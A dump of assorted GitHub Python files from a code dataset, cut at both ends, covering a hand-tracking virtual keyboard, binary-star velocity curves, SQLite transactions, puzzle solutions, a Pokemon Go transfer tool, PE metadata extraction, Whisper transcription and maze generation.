enumerate(keys[i]):\r\n buttonList.append(Button([100 * j + 50, 100 * i + 50], key))\r\n\r\n\r\n\r\nwhile True:\r\n res, img = cap.read()\r\n img = detector.findHands(img)\r\n lmList, bboxInfo = detector.findPosition(img)\r\n\r\n img = drawAll(img, buttonList)\r\n\r\n if lmList:\r\n for button in buttonList:\r\n x, y = button.pos\r\n w, h = button.size\r\n\r\n if x < lmList[8][0] < x + w and y < lmList[8][1] < y + h:\r\n cv2.rectangle(img, (x - 5, y - 5), (x + w + 5, y + h + 5), (175, 0, 175), cv2.FILLED)\r\n cv2.putText(img, button.text, (x + 20, y + 65),\r\n cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\r\n\r\n l, _, _ = detector.findDistance(8, 12, img, draw=False)\r\n print(l)\r\n\r\n ## when clicked\r\n if l < 45:\r\n keyboard.press(button.text)\r\n cv2.rectangle(img, button.pos, (x + w, y + h), (0, 0, 255), cv2.FILLED)\r\n cv2.putText(img, button.text, (x + 20, y + 65), cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\r\n sleep(0.20)\r\n\r\n\r\n\r\n\r\n cv2.imshow(\"Image\", img)\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n\r\ncv2.destroyAllWindows()","repo_name":"Pepcoders/Data-Science","sub_path":"openCv_virtual-keyboard.py","file_name":"openCv_virtual-keyboard.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"31151440438","text":"import numpy as np\nimport matplotlib.pyplot as plt\n#pro vcurve,g,pd,ai,e,w,fout\n\n# This procedure creates a 2 x 360 array containing the \n# radial velocity data as a function of time for a spectroscopic\n# binary. Input g (center of mass velocity of system), pd\n# (period of orbit in days), ai (asin(i) of orbit in giga-meters),\n# e (eccentricity of orbit), w (longitude of periastron), and\n# fout (name of output file).\n# Formulae from Heintz (1978), Danby (1990), and math tables.\n# LAP 9.1.96\n\n# print statement to prompt input:\n\n#print,'type g(km/s),pd(days),ai(Gm),e(ecc), w(deg) & output (filename)'\n\n#port from IDL by Laura Flagg\ndef v_curve(g,pd,ai,e,w):\n fout=np.zeros((2,360))\n out=np.zeros((2,360))\n \n # define pi and convert to useful units\n \n pi=np.pi\n # convert to seconds:\n p=pd*8.64e4\n # convert to km:\n asi=ai*1e6\n # convert to radians:\n wr=(w/360.0)*2*pi\n \n #stop\n \n t1=g\n t2=2*pi/p #units of s^-1, angular frequency\n t3=asi #distaance\n ed=(1-e**2)\n t4=np.sqrt(1/ed)\n t5=e*np.cos(wr) #large if wr is close to 0, dimensionless\n erat=(np.sqrt((1-e)/(1+e)))\n \n # print,sqrt((1-e)/(1+e))\n #stop\n for ji in range(0,360):\n \n j=ji+540\n jr=(j/360.0)*2*pi #the angle in radians\n \n t6=np.cos(jr+wr) #combine the positiona angle with the angle of periastron\n \n v=t1+(t2*t3*t4*(t5+t6))\n \n prt1=(e*np.sin(jr)*np.sqrt(ed)/(1+e*np.cos(jr)))\n prt2=2*np.arctan(erat*np.tan(jr/2.0))\n if ji == 0:\n prt2=-pi \n #because of weird idl, they get -pi, while python gets pi, so correcting that\n jj=j-540\n t=(1/t2)*(prt2-prt1)\n \n out[0,jj]=t/p\n out[1,jj]=v\n # if ji == 180:\n # print prt1, prt2, t, t2, t6,p, out[0,jj], jj, jr, np.tan(jr/2.0)\n\n \n \n # print,j,jr,t6,v,out(0,jj),out(1,jj)\n \n \n if out[0,0] < 0.0:\n out[0,]=out[0,] - out[0,0]\n \n \n fout[0,0:180]=out[0,180:]-out[0,180]\n fout[0,180:]=out[0,0:180]+out[0,180]\n fout[1,0:180]=out[1,180:]\n fout[1,180:]=out[1,0:180]\n \n return fout\n\ndef citau(phase,par):#\n #function func_citau,phase,par\n #\n # This function computes the radial velocity amplitude for a single\n # line spectroscopic binary, using the code vcurve.pro supplied by\n # Lisa Prato. \n # INPUTS:\n # phase - The orbital phase for the desired points\n # par(0) - g: center of mass velocity of system in m/s\n # par(1) - pd: period of orbit in days\n # par(2) - ai: asin(i) of orbit in giga-meters\n # par(3) - e: eccentricity of orbit\n # par(4) - w: longitude of periastron\n # par(5) - ph0: Phase offset \n# OUTPUTS:\n# function returns the velocity of the star in m/s\n#\n# HISTORY:\n# 10-Apr-2014 CMJ - Written, based on func420.pro for XO-3b\n# 25-Feb-2007 CMJ - Written\n# 13-Mar-2007 CMJ - Added Phase offset term\n#\n\n # Set up variables\n g = par[0]/1000.\n pd = par[1]\n par[2] = abs(par[2])\n ai = par[2]\n par[3] = abs(par[3])\n e = par[3]\n par[4] = par[4] % 360.\n w = par[4]\n par[5] = (par[5]+20.) % 1.\n ph0 = par[5]\n #if ph0 lt 0. then ph0 = 0.\n #if ph0 gt 1. then ph0 = 1.\n \n fout=v_curve(g,pd,ai,e,w)\n \n # Interpolate onto phases and return\n #\n #vel = 1.d3*interpol(reform(fout(1,*)),reform(fout(0,*)),((phase+ph0) mod 1.)) \n a=fout[1]\n b=fout[0]\n c=((phase+ph0) % 1.)\n vel=np.interp(c,b,a)*1000.\n #in m/s\n #vel(10:20) = vel(10:20) + par(6) # adjust HET velocities\n \n\n \n return vel\n\nif 1==2: \n par=np.zeros(6)\n par[0] = -134.70961 #center of mass velocity in m/s\n par[1] = 8.9891005 #period\n par[2] = 0.11257813 # asin(i) of orbit in giga-meters\n par[3] = 0.25086000 #eccentricity\n par[4] = 31.342030 ;#arg of periastron\n par[5] = 0.51032202 # phase offset\n \n phases=np.arange(0,101)/100.\n \n a_0=citau(phases,par)/1000.\n #velocities now in km/s\n ","repo_name":"lauraflagg/combine-and-xcor","sub_path":"v_curve.py","file_name":"v_curve.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37560093841","text":"#!/usr/bin/env python\r\n\r\n\"\"\"\r\nUsing the Database Helper functions we defined earlier, this file is for\r\nusing our helpers to create a transaction table, and performing our database features\r\ninvolving the transaction table\r\n\"\"\"\r\n\r\n# Imports\r\nfrom db_helper import *\r\n\r\n# Table Creation Methods\r\ndef init_Transactions_Table(connection):\r\n\tcreate_transactions_table = \"\"\"\r\n\tCREATE TABLE IF NOT EXISTS Transactions (\r\n\t\tTR_ID INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,\r\n\t\tDate DATETIME NOT NULL,\r\n\t\tCount INTEGER NOT NULL,\r\n\t\tProduct_ID INTEGER NOT NULL,\r\n\t\tCustomer_Name CHAR(100),\r\n\t\tSale_Price DOUBLE NOT NULL,\r\n\t\tFOREIGN KEY (Product_ID) REFERENCES Products (SKU_ID)\r\n\t);\r\n\t\"\"\"\r\n\r\n\texecute_query(connection, create_transactions_table)\r\n\r\n# Will add a transaction based on a list of data provided by the user\r\ndef addTransaction(connection, transaction_data):\r\n\ttransaction_columns = ['Date', 'Count', 'Product_ID', 'Customer_Name']\r\n\tinsert_query(connection, 'Transactions', transaction_columns, transaction_data)\r\n\r\n# Will edit an existing transaction based on user set_condition based on SKU_ID\r\ndef editTransaction(connection, set_condition, TR_ID):\r\n\tedit_query(connection, 'Transactions', set_condition, 'TR_ID = ' + TR_ID)\r\n\r\n# Will delete an existing transaction based on SKU_ID\r\ndef delTransaction(connection, TR_ID):\r\n\tdelete_query(connection, 'Transactions', 'TR_ID = ' + TR_ID)\r\n\r\n\r\n# Driver Code\r\nif __name__ == '__main__':\r\n\r\n\tconnection = create_connection(\"wtrdata.sqlite\")\r\n\t#init_Product_Table(connection)\r\n\t#init_Transactions_Table(connection)\r\n\r\n\t# Create the Product Table\r\n\tinit_Transactions_Table(connection)\r\n\r\n\t#Prep some sample data\r\n\tproduct_columns = ['Date', 'Count', 'Product_ID', 'Customer_Name']\r\n\tproduct_data = ['\\'2020-07-18\\'', '\\'4\\'', '\\'1\\'', '\\'Chris McClure\\'']\r\n\tinsert_query(connection, 'Transactions', product_columns, product_data)\r\n\r\n\t# YAY!\r\n\tselect_query = \"SELECT * FROM Transactions INNER JOIN Products ON Transactions.Product_ID = Products.SKU_ID\"\r\n\ttransactions = execute_read_query(connection, select_query)\r\n\tprintDB(connection, 'Transactions', select_query)\r\n\r\n\t#delete_query(connection, 'Transactions')\r\n\r\n\tfor transaction in transactions:\r\n\t\tprint(transaction)\r\n","repo_name":"jsdaniel007/WillowTreeApp","sub_path":"python/deprecated/transactions_wtr.py","file_name":"transactions_wtr.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20357527530","text":"# starsparrow\n# adventofcode puzzle 1-2\n\ninstructions = []\n\nwith open('puzzleinput.txt', 'r') as f:\n\twhile True:\n\t\tread_data = f.read(1)\n\t\tif not read_data:\n\t\t\tbreak\n\t\tinstructions.append(read_data)\n\nposition = 1\ncurrentFloor = 0\ntargetFloor = -1\n\t\t\nfor i in instructions:\n\tif i == '(':\n\t\tcurrentFloor += 1\n\telif i == ')':\n\t\tcurrentFloor -= 1\n\telse:\n\t\tprint(\"Weird error that you shouldn't see\")\n\t\n\tif currentFloor == targetFloor:\n\t\tprint(position)\n\t\tbreak\n\telse:\n\t\tposition += 1","repo_name":"alchzh/challenges","sub_path":"advent-of-code/2015/day1/puz2.py","file_name":"puz2.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25975767453","text":"#!/usr/bin/python3\n\"\"\"Validates the size of a square and computes it's area\"\"\"\n\n\nclass Square:\n \"\"\"\n Represents a square.\n \"\"\"\n\n def __init__(self, size=0, position=(0, 0)):\n \"\"\"\n Initializes a Square instance.\n\n Args:\n size (int): The size of the square.\n position (tuple): The position of the square.\n \"\"\"\n self.size = size\n self.position = position\n\n @property\n def size(self):\n \"\"\"\n Retrieves the size of the square.\n\n Returns:\n int: The size of the square.\n \"\"\"\n return self.__size\n\n @size.setter\n def size(self, value):\n \"\"\"\n Sets the size of the square.\n\n Args:\n value (int): The size of the square.\n\n Raises:\n TypeError: If value is not an integer.\n ValueError: If value is less than 0.\n \"\"\"\n if not isinstance(value, int):\n raise TypeError(\"size must be an integer\")\n if value < 0:\n raise ValueError(\"size must be >= 0\")\n self.__size = value\n\n @property\n def position(self):\n \"\"\"\n Retrieves the position of the square.\n\n Returns:\n tuple: The position of the square.\n \"\"\"\n return self.__position\n\n @position.setter\n def position(self, value):\n \"\"\"\n Sets the position of the square.\n\n Args:\n value (tuple): The position of the square.\n\n Raises:\n TypeError: If value is not a tuple of 2 positive integers.\n \"\"\"\n if (\n not isinstance(value, tuple)\n or len(value) != 2\n or not all(isinstance(x, int) for x in value)\n or not all(x >= 0 for x in value)\n ):\n raise TypeError(\"position must be a tuple of 2 positive integers\")\n self.__position = value\n\n def area(self):\n \"\"\"\n Computes the area of the square.\n\n Returns:\n int: The area of the square.\n \"\"\"\n return self.__size ** 2\n\n def my_print(self):\n \"\"\"\n Prints the square with the character #.\n \"\"\"\n if self.__size == 0:\n print()\n else:\n for _ in range(self.__position[1]):\n print()\n for _ in range(self.__size):\n print(\" \" * self.__position[0], end=\"\")\n print(\"#\" * self.__size)\n","repo_name":"Yomna147/alx-higher_level_programming","sub_path":"0x06-python-classes/6-square.py","file_name":"6-square.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74973467239","text":"peoples = {\n 'first_name': 'le',\n 'last_name': 'xiaoyuan',\n 'age': 21,\n 'city': 'dawu'\n}\n\nprint(peoples['first_name'])\nprint(peoples['last_name'])\nprint(peoples['age'])\nprint(peoples['city'])\n\nfor people in peoples.values():\n print(people)\n\nlucky_number = {\n 'lexiaoyuan': 6,\n 'benjamin': 66,\n 'lexiaoyuanbeta': 666,\n 'yege': 6666,\n 'ruanwei': 66666\n}\n\nprint('lexiaoyuan'.title() + \"'s lucky number is \" +\n str(lucky_number['lexiaoyuan']))\nprint('benjamin'.title() + \"'s lucky number is \" +\n str(lucky_number['benjamin']))\nprint('lexiaoyuanbeta'.title() + \"'s lucky number is \" +\n str(lucky_number['lexiaoyuanbeta']))\nprint('yege'.title() + \"'s lucky number is \" +\n str(lucky_number['yege']))\nprint('ruanwei'.title() + \"'s lucky number is \" +\n str(lucky_number['ruanwei']))\n\nfor name, number in lucky_number.items():\n print(name.title() + \"'s lucky number is \" + str(number))\n\ndictionary = {\n 'if': 'if',\n 'for': 'for',\n 'list': 'list',\n 'title': 'title',\n 'upper': 'upper'\n}\n\nprint(\"if: \" + dictionary['if'])\nprint(\"for: \" + dictionary['for'])\nprint(\"list: \" + dictionary['list'])\nprint(\"title: \" + dictionary['title'])\nprint(\"upper: \" + dictionary['upper'])\n\nfor dic in dictionary.keys():\n print(dic)\n\npeople_1 = {\n 'first_name': 'le',\n 'last_name': 'xiaoyuan',\n 'age': 21,\n 'city': 'dawu'\n}\n\npeople_2 = {\n 'first_name': 'le',\n 'last_name': 'xiaoyuanbeta',\n 'age': 21,\n 'city': 'dawu'\n}\n\npeople_3 = {\n 'first_name': 'ben',\n 'last_name': 'jamin',\n 'age': 21,\n 'city': 'dawu'\n}\n\npeople = [people_1, people_2, people_3]\n\nfor p in people:\n print(p)\n\nlucky_numbers = {\n 'lexiaoyuan': [6, 66],\n 'benjamin': [66, 666],\n 'lexiaoyuanbeta': [666, 6666],\n 'yege': [6666, 66666],\n 'ruanwei': [66666, 666666],\n}\n\nfor name, numbers in lucky_numbers.items():\n print(name.title() + \"'s favorite number are:\")\n for number in numbers:\n print(\"\\t\" + str(number))\n","repo_name":"lexiaoyuan/PythonCrashCourse","sub_path":"python_05_dictionary/people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3000945447","text":"import logging\nimport random\nimport time\nimport math\nimport collections\n\n\nclass Transfer(object):\n def __init__(self, inventory):\n self.logger = logging.getLogger(__name__)\n self.inventory = inventory\n self.api = inventory.api\n self.pokemons = inventory.pokemons\n self.candies = inventory.candies\n self.pokedex = inventory.pokedex\n self.mincp = inventory.config.mincp\n\n def transfer_service(self, pokemon_id, name):\n print('Transferring %s... ' % name, end=\"\")\n resp = self.api.release_pokemon(pokemon_id=pokemon_id)\n res = resp.get('responses', {}).get('RELEASE_POKEMON', {}).get('result', {0})\n if res == 1:\n print('DONE')\n else:\n print('FAILED')\n time.sleep(random.uniform(3.0, 6.0))\n\n def transfer_list(self, transfer_list):\n self.inventory.print_pokemons(transfer_list)\n if self.inventory.ask_question('Are you sure you want to transfer listed pokemons?'):\n for k, v in transfer_list.items():\n for p in v:\n self.transfer_service(p['id'], k)\n self.inventory.get_inventory()\n\n def transfer_extras(self):\n transfer_list = collections.OrderedDict()\n min_keep = self.inventory.get_min_to_keep()\n can_evolve = 0\n for k, v in self.pokemons.items():\n count = len(v)\n pid = v[0]['pid']\n req_candies = self.pokedex[pid]['candy']\n my_candies = self.candies.get(pid, None)\n if not my_candies or not req_candies:\n continue\n can_evolve += my_candies // req_candies\n keeping = max(math.ceil(my_candies / req_candies), min_keep)\n\n if count > keeping:\n for poke in v[keeping:]:\n if poke['cp'] < self.mincp:\n transfer_list.setdefault(k, []).append(poke)\n\n if not transfer_list:\n print('\\nNothing is available to transfer')\n return\n\n self.transfer_list(transfer_list)\n\n def transfer_duplicates(self):\n transfer_list = collections.OrderedDict()\n min_keep = max(0, self.inventory.get_min_to_keep())\n for k, v in self.pokemons.items():\n if len(v) > min_keep:\n for poke in v[min_keep:]:\n if poke['cp'] < self.mincp:\n transfer_list.setdefault(k, []).append(poke)\n self.transfer_list(transfer_list)\n\n def run(self):\n print(' TRANSFER MENU')\n print(' You will have a chance to approve the transfer list before actually transferring')\n print(' ---------')\n print(' 1: Transfer all duplicates')\n print(' 2: Transfer pokemons you cannot evolve(For example: If you have 36 pidgey candies, '\n 'keep top 3; transfer the rest)')\n print(' 0: Back')\n choice = int(input(\"\\nEnter choice: \"))\n if choice == 1:\n self.transfer_duplicates()\n elif choice == 2:\n self.transfer_extras()\n elif choice == 0:\n pass\n else:\n pass\n","repo_name":"norecha/PokeInventory","sub_path":"transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"18"} +{"seq_id":"33567176204","text":"#Blake Scott 08/10/2021\r\nimport json as j\r\nfrom pprint import pprint\r\n\r\nimport numpy\r\n\r\ndata = []\r\nfor line in open('C:/Users/blake/Documents/restaurant.json',\"r\"):\r\n data.append(j.loads(line))\r\n\r\nbor=[]\r\n\r\nfor br in data:\r\n bor.append([br['borough'],br['cuisine']])\r\n score = []\r\n for s in br['grades']:\r\n score.append(s['score'])\r\n\r\n bor.append(score)\r\n bor.append(numpy.average([x for x in score if x != None]))\r\n\r\npprint(bor)","repo_name":"bscott110/mthree_Pythonpractice","sub_path":"BlakeScott_Mod4_practiceact_4.py","file_name":"BlakeScott_Mod4_practiceact_4.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29264989170","text":"import math \n\n# create a function to find maximum size subarray of size k\ndef maxSubarray(arr, k):\n ans = 0\n start = 0\n slidingSum = 0\n\n for end in range(len(arr)):\n slidingSum += arr[end]\n if end >= k-1:\n ans = max(ans, slidingSum)\n slidingSum -= arr[start]\n start += 1\n\n return ans\n\n\n\ndef minSubArrSumS(arr, s):\n minLength = math.inf\n start = 0\n slidingSum = 0\n\n for end in range(len(arr)):\n slidingSum += arr[end]\n\n # we are going to shrink the window as small as possible when we have found the answer\n while slidingSum >= s:\n minLength = min(minLength, end - start + 1)\n slidingSum -= arr[start]\n start += 1\n if minLength == math.inf:\n return 0\n return minLength\n","repo_name":"kunal-kushwaha/CTCI-MLH-July","sub_path":"Arrays/Python/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"16101299415","text":"import argparse\nfrom datetime import date, datetime\nfrom pefile import PE\n\n\n''' ----___----I WROTE THIS BYMYSELF AND NEEDS TO IMPROVED----___---\n\n\nDescription: \n --> This script will get metadata from EXE files. \nTo run this script --> python metadata_executable.py\nexample --> python metadata_executable.py blablabla.exe\n'''\n\n\n__authors__ = [\"Gokan Bektas\"]\n__date__ = 20211215\n__version__ = 1.0 # version can be always change so make sure you update after make a change. it has to be in quation. \n__description__ = 'A Tool to extract metadata from EXE files'\n\nparser = argparse.ArgumentParser(description=__description__, epilog=\"Developed by {} on {}\".format(\", \".join(__authors__),__date__))\nparser.add_argument(\"EXE_FILE\", help=\"Path to exe file\")\nparser.add_argument(\"-v\", \"--verbose\", help=\"Increase verbosity of output\", action='store_true', default=False)\nargs = parser.parse_args()\n\npe = PE(args.EXE_FILE)\nped = pe.dump_dict()\n\nfile_info = {}\nfor structure in pe.FileInfo:\n if structure.Key == b'StringFileInfo':\n for s_table in structure.StringTable:\n for key, value in s_table.entries.itens():\n if value is None or len(value) == 0:\n value = \"Unknown\"\n file_info[key] = value\n \nprint(\"File Information\")\n\nfor key, value in file_info.items():\n if isinstance(key,bytes):\n key = key.decode()\n if isinstance(value, bytes):\n value = value.decode()\n print(f'{key}: {value}')\n \n#Defining the compiling time\ncomp_time = ped['FILE_HEADER']['TimeDateStamp']['Value']\ncomp_time = comp_time.split(\"[\")[-1].strip(\"]\")\ntime_stamp, timezone = comp_time.rsplit(\" \", 1)\ncomp_time = datetime.strptime(time_stamp, \"%a %b %d %H:%M:%S %Y\")\nprint(\"Compiled on {} {}\".format(comp_time, timezone.strip()))\n\n# Extract IOCs from PE Sections\nprint('\\nSections: ')\n\nfor section in ped['PE Sections']:\n print(\"Section '{}' at {}: {}/{} {}\".format(\n section['Name']['Value'], hex(section['VirtualAddress']['Value']),\n section['Misc_VirtualSize']['Value'],\n section['SizeOfRawData']['Value'], section['MD5'])\n )\n \n# Display Imports, Names, and Adresses \nif hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): \n print(\"\\nImports: \")\n for dir_entry in pe.DIRECTORY_ENTRY_IMPORT:\n dll = dir_entry.dll\n if not args.verbose:\n print(dll.decode(), end=\", \")\n continue\n \n name_list = []\n for impts in dir_entry.imports:\n if getattr(impts, \"name\", b\"Unknown\") is None:\n name = b\"Unknown\"\n else:\n name = getattr(impts, \"name\", b\"Unknown\")\n name_list.append([name.decode(), hex(impts.address)])\n name_fmt = [\"{} ({})\".format(x[0], x[1]) for x in name_list]\n print('- {}: {}'.format(dll.decode(), \", \".join(name_fmt)))\n if not args.verbose:\n print()\n \n# Display Exports, Names, and Adresses\nif hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):\n print('\\nExports: ')\n for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols:\n print(f'-{sym.name.decode()}: {hex(sym.address)}')\n \n\n","repo_name":"gokanb/Digital-Forensics","sub_path":"Digital Forensics/MetaData Scanners/DOESN'T-WORK-YET-metadata_executable.py","file_name":"DOESN'T-WORK-YET-metadata_executable.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19918686312","text":"from flask import Blueprint, request, jsonify\nfrom flask_cors import cross_origin\nfrom database_functions.db_connection.connection import connection\nfrom database_functions.account.token_auth_flow import refresh_token\nfrom database_functions.logs.recentLogs import insert_into_recent_table\nfrom database_functions.groups.deletion_functions import delete_group, delete_users_in_group\nfrom database_functions.groups.querying_functions import get_group_title\nfrom time import time\n\ndeleteGroupAPI = Blueprint('deleteGroupAPI', __name__)\n\n\n# API to create a group for cost sharing\n@deleteGroupAPI.route('/group/deleteGroup', methods=['POST'])\n@cross_origin()\ndef group_status_update():\n try:\n user_name = request.json['user_name']\n refresh_token(connection(), request.json['user_name'])\n group_id = request.json['group_id']\n group_title = get_group_title(connection(), group_id)\n if not group_title:\n return jsonify(False)\n delete_group(connection(), group_id)\n delete_users_in_group(connection(), group_id)\n\n message = \"You just deleted the group \" + group_title\n message_description = \"Hope it's purpose served you well!\"\n # adding transaction to logs\n insert_into_recent_table(connection(), user_name, str(time()), \"10:Deleted Group \" + group_title, message +\n message_description)\n\n return jsonify(True)\n except:\n return jsonify(False)\n","repo_name":"anurag-as/Costrajectory","sub_path":"backend/api/groups/delete_group.py","file_name":"delete_group.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"387543364","text":"import whisper\nfrom argparse import ArgumentParser\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n parser.add_argument(\n \"--audio_path\",\n type=str,\n default=\"/srv/lake/landing/CADIC/cadic-asr-deepspeech/jsut_ver1.1/basic5000/wav/BASIC5000_0001.wav\",\n )\n args = parser.parse_args()\n language = None\n model = whisper.load_model(\"large\").cuda()\n result = model.transcribe(args.audio_path, language=language, temperature=0.0)\n\n transcription = result[\"text\"].lower()\n print(transcription)\n","repo_name":"JeanMaximilienCadic/whisper","sub_path":"whisper/infer/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"34785175920","text":"# Write a python program zip.py to create a zip file. \n# The program should take name of zip file as first \n# argument and files to add as rest of the arguments.\n\ndef zip_file(arr):\n import zipfile\n f = zipfile.ZipFile('zipfile.zip','a')\n for file in arr:\n f.write(file,compress_type=zipfile.ZIP_DEFLATED)\n#zip_file(['she.txt','reverse_she.txt'])\n\nimport zipfile\nf = zipfile.ZipFile('zipfile.zip')\nfor name in f.namelist():\n print(name)\n","repo_name":"fahimkk/anandology","sub_path":"zip_ex.py","file_name":"zip_ex.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20986554518","text":"import numpy as np \nimport random \n\n#Build the maze using depth first search \nnum_rows = 5\nnum_cols = 5\nmazesNumber = 50\n\n\ndef isDeadEnd(y,x,visited) : \n\tfor i in range(-1,1): #i in -1,0,1\n\t\tfor j in range(-1,1):#i in -1,0,1\n\t\t\tif(not(i==0 and j==0)):#as if i==0 and j==0 then we are in teh same cell \t \n\t\t\t\tif(x+i>=0 and x+i< num_cols ):\n\t\t\t\t\tif( y+j >=0 and y+j < num_rows):\n\t\t\t\t\t\tif((x+i,y+j) not in visited):\n\t\t\t\t\t\t\treturn False,y+j,x+i #There's an unvisited neighbour \n\treturn True,-1,-1; #There's no unvisited neighbour\n \ndef isValidRow(y):\n\tif(y>=0 and y<num_rows):\n\t\treturn True; \n\treturn False; \n\ndef isValidCol(x):\n\tif(x>=0 and x<num_cols):\n\t\treturn True; \n\treturn False; \n\t\ndef generateMazes():\n\n\t#Generate the 50 mazes \n\t##########################################################\n\t# initially set all of the cells as unvisited\n\tmaze = np.zeros((mazesNumber,num_rows,num_cols))\n\n\n\tfor mazeInd in range(0,mazesNumber) :\n\t\tprint(\"Generate Maze : \" + str(mazeInd+1));\n\t\tvisited = set() # Set for visitied nodes \n\t\tstack = [] # Stack is empty at first \n\n\t\t##########################################################\n\t\t#start from a random cell\t\n\t\trow_index = random.randint(0,num_rows-1)#Must choose valid row index \n\t\tcol_index = random.randint(0,num_cols-1)#Must choose valid col index \n\t\t#mark it as visitied \t\n\t\tprint(\"_______________ Start ________________\\n\")\n\t\tprint(\"Loc[\"+str(row_index)+\"],[\"+str(col_index)+\"] = 1\")\n\t\tvisited.add((row_index , col_index)) #Visited \n\t\tmaze [mazeInd , row_index , col_index] = 1 #Unblocked \n\t\t\n\n\t\t##########################################################\n\t\t#Select a random neighbouring cell to visit that has not yet been visited. \n\t\tprint(\"\\n\\n_______________ DFS ________________\\n\")\n\t\twhile(len(visited) < num_cols*num_rows): #Repeat till visit all cells \n\t\t\n\t\t\tcrnt_row_index = row_index+random.randint(-1,1)#neighbor\n\t\t\tcrnt_col_index = col_index+random.randint(-1,1)#neighbor\n\t\t\ti=0;isDead=False;\n\t\t\twhile ((not isValidRow(crnt_row_index)) or (not isValidCol(crnt_col_index) )or ((crnt_row_index,crnt_col_index) in visited) ):\n\t\t\t\t# no need to write also \"or (crnt_row_index==row_index and crnt_col_index==col_index)\" as if this happened then it would be visited \n\t\t\t\tcrnt_row_index = row_index+random.randint(-1,1)\n\t\t\t\tcrnt_col_index = col_index+random.randint(-1,1)\n\t\t\t\ti = i+1\n\t\t\t\t#print(\"dtuck\"+str(i))\n\t\t\t\tif(i==8):\n\t\t\t\t\t#Reach dead end \n\t\t\t\t\tisDead = True\n\t\t\t\t\tbreak\n\t\t\tif(not isDead):\n\t\t\t\tvisited.add((crnt_row_index , crnt_col_index)) \n\t\t\t\n\t\t\trand_num = random.uniform(0, 1)\n\n\t\t\tif( rand_num < 0.3 and not isDead) : \n\t\t\t\t# With 30% probability mark it as blocked. \n\t\t\t\tmaze [mazeInd , crnt_row_index , crnt_col_index] = 0 #Leave the block \n\t\t\t\tprint(\"Loc[\"+str(crnt_row_index)+\"],[\"+str(crnt_col_index)+\"] = 0\")\t\t\t\t\n\t\t\t\t#to start get the neighbors of this cell next time \n\t\t\t\trow_index = crnt_row_index\n\t\t\t\tcol_index = crnt_col_index\n\t\t\telse : \n\t\t\t\tif(not isDead):\n\t\t\t\t\t# With 70% mark it as unblocked and in this case add it to the stack.\n\t\t\t\t\tmaze [mazeInd , crnt_row_index , crnt_col_index] = 1 #Unblocked \n\t\t\t\t\tprint(\"Loc[\"+str(crnt_row_index)+\"],[\"+str(crnt_col_index)+\"] = 1\")\t\t\t\t\n\t\t\t\t\tstack.append((crnt_row_index,crnt_col_index))\n\t\t\t\t\tisDead,unvisitRow , unvisitCol = isDeadEnd(row_index,col_index,visited)\n\t\t\t\tif(isDead == True):#if no unvisited neighbour \n\t\t\t\t\t#backtrack to parent nodes on the search tree until it reaches a cell with an unvisited neighbour\n\t\t\t\t\twhile(len(stack)>0):\n\t\t\t\t\t\tparent_row,parent_col = stack.pop();\n\t\t\t\t\t\tisDead,unvisitRow , unvisitCol = isDeadEnd(parent_row,parent_col,visited)\n\t\t\t\t\t\tif(isDead == False):\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t# Now wither we reach not dead end or stack is empty \n\t\t\t\t\tif(len(stack)>0):\n\t\t\t\t\t\tvisited.add((unvisitRow,unvisitCol))\n\t\t\t\t\t\trow_index = unvisitRow\n\t\t\t\t\t\tcol_index = unvisitCol\n\t\t\t\t\telse :\n\t\t\t\t\t\t#Repeat the whole process from a point not vistited\n\t\t\t\t\t\trow_index = random.randint(0,num_rows-1)\n\t\t\t\t\t\tcol_index = random.randint(0,num_cols-1)\n\t\t\t\t\t\tif(len(visited)< num_cols*num_rows):\n\t\t\t\t\t\t\twhile ( (not isValidRow(row_index)) or (not isValidCol(col_index)) or ((row_index,col_index) in visited) ):\n\t\t\t\t\t\t\t\trow_index = random.randint(0,num_rows-1)\n\t\t\t\t\t\t\t\tcol_index = random.randint(0,num_cols-1)\n\t\t\t\t\t\t\t\t#print(str(row_index)+\",\"+str(col_index))\n\t\t\t\t\t\t#mark it as visitied \t\n\t\t\t\t\t\tvisited.add((row_index , col_index)) #Visited \t\t\t\t\t\n\t\t\t\telse : #No dead Node \n\t\t\t\t\tvisited.add((unvisitRow,unvisitCol))\n\t\t\t\t\trow_index = 